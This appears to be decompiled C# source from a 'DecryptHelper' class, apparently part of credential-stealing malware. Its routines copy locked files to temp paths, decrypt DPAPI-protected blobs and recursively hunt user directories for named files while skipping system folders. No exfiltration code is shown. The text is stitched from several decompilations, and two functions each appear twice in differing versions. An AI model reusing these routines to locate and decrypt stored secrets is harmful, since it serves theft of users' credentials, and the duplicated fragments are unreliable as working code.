public static string CreateTempCopy(string filePath)
{
string tempPath = DecryptHelper.CreateTempPath();
File.Copy(filePath, tempPath, true);
return(tempPath);
}
public static string DecryptBlob(
string EncryptedData,
DataProtectionScope dataProtectionScope,
byte[] entropy = null)
{
return(Encoding.UTF8.GetString(DecryptHelper.DecryptBlob(Encoding.Default.GetBytes(EncryptedData), dataProtectionScope, entropy)));
}
// Token: 0x06000296 RID: 662 RVA: 0x0000A688 File Offset: 0x00008888
public static string GetMd5Hash(string source)
{
HashAlgorithm hashAlgorithm = new MD5CryptoServiceProvider();
byte[] bytes = Encoding.ASCII.GetBytes(source);
return(DecryptHelper.GetHexString(hashAlgorithm.ComputeHash(bytes)).Replace("-", string.Empty));
}
public static List <string> FindPaths(
string baseDirectory,
int maxLevel = 4,
int level = 1,
params string[] files)
{
List <string> stringList = new List <string>();
if (files != null && files.Length != 0)
{
if (level <= maxLevel)
{
try
{
foreach (string directory in Directory.GetDirectories(baseDirectory))
{
try
{
DirectoryInfo directoryInfo = new DirectoryInfo(directory);
FileInfo[] files1 = directoryInfo.GetFiles();
bool flag = false;
for (int index1 = 0; index1 < files1.Length && !flag; ++index1)
{
for (int index2 = 0; index2 < files.Length && !flag; ++index2)
{
string file = files[index2];
FileInfo fileInfo = files1[index1];
string name = fileInfo.Name;
if (file == name)
{
flag = true;
stringList.Add(fileInfo.FullName);
}
}
}
foreach (string path in DecryptHelper.FindPaths(directoryInfo.FullName, maxLevel, level + 1, files))
{
if (!stringList.Contains(path))
{
stringList.Add(path);
}
}
}
catch
{
}
}
}
catch
{
}
return(stringList);
}
}
return(stringList);
}
// Token: 0x0600028F RID: 655 RVA: 0x0000A478 File Offset: 0x00008678
public static string TryCreateTemp(string filePath, out bool createdNew)
{
string result;
try
{
string text = DecryptHelper.CreateTempPath();
File.Copy(filePath, text);
createdNew = true;
result = text;
}
catch
{
createdNew = false;
result = filePath;
}
return(result);
}
public static string GetMd5Hash(string source)
{
return(DecryptHelper.GetHexString((IList <byte>) new MD5CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(source))));
}
// Token: 0x06000291 RID: 657 RVA: 0x0000A534 File Offset: 0x00008734
public static string CreateTempPath()
{
return(Path.Combine(Constants.LocalAppData, DecryptHelper.GetMd5Hash(string.Format("{0}{1}{2}", Environment.UserName, Math.Abs(DateTime.Now.ToFileTimeUtc()), Thread.CurrentThread.GetHashCode() + Thread.CurrentThread.ManagedThreadId)).Substring(0, 7)));
}
// Token: 0x06000298 RID: 664 RVA: 0x0000A78C File Offset: 0x0000898C
public static List <string> FindPaths(string baseDirectory, int maxLevel = 4, int level = 1, params string[] files)
{
List <string> list = new List <string>();
list.Add("\\Windows\\");
list.Add("\\Program Files\\");
list.Add("\\Program Files (x86)\\");
list.Add("\\Program Data\\");
List <string> list2 = new List <string>();
if (files == null || files.Length == 0 || level > maxLevel)
{
return(list2);
}
try
{
foreach (string text in Directory.GetDirectories(baseDirectory))
{
bool flag = false;
foreach (string value in list)
{
if (text.Contains(value))
{
flag = true;
break;
}
}
if (!flag)
{
try
{
DirectoryInfo directoryInfo = new DirectoryInfo(text);
FileInfo[] files2 = directoryInfo.GetFiles();
bool flag2 = false;
int num = 0;
while (num < files2.Length && !flag2)
{
int num2 = 0;
while (num2 < files.Length && !flag2)
{
string a = files[num2];
FileInfo fileInfo = files2[num];
if (a == fileInfo.Name)
{
flag2 = true;
list2.Add(fileInfo.FullName);
}
num2++;
}
num++;
}
foreach (string item in DecryptHelper.FindPaths(directoryInfo.FullName, maxLevel, level + 1, files))
{
if (!list2.Contains(item))
{
list2.Add(item);
}
}
}
catch
{
}
}
}
}
catch
{
}
return(list2);
}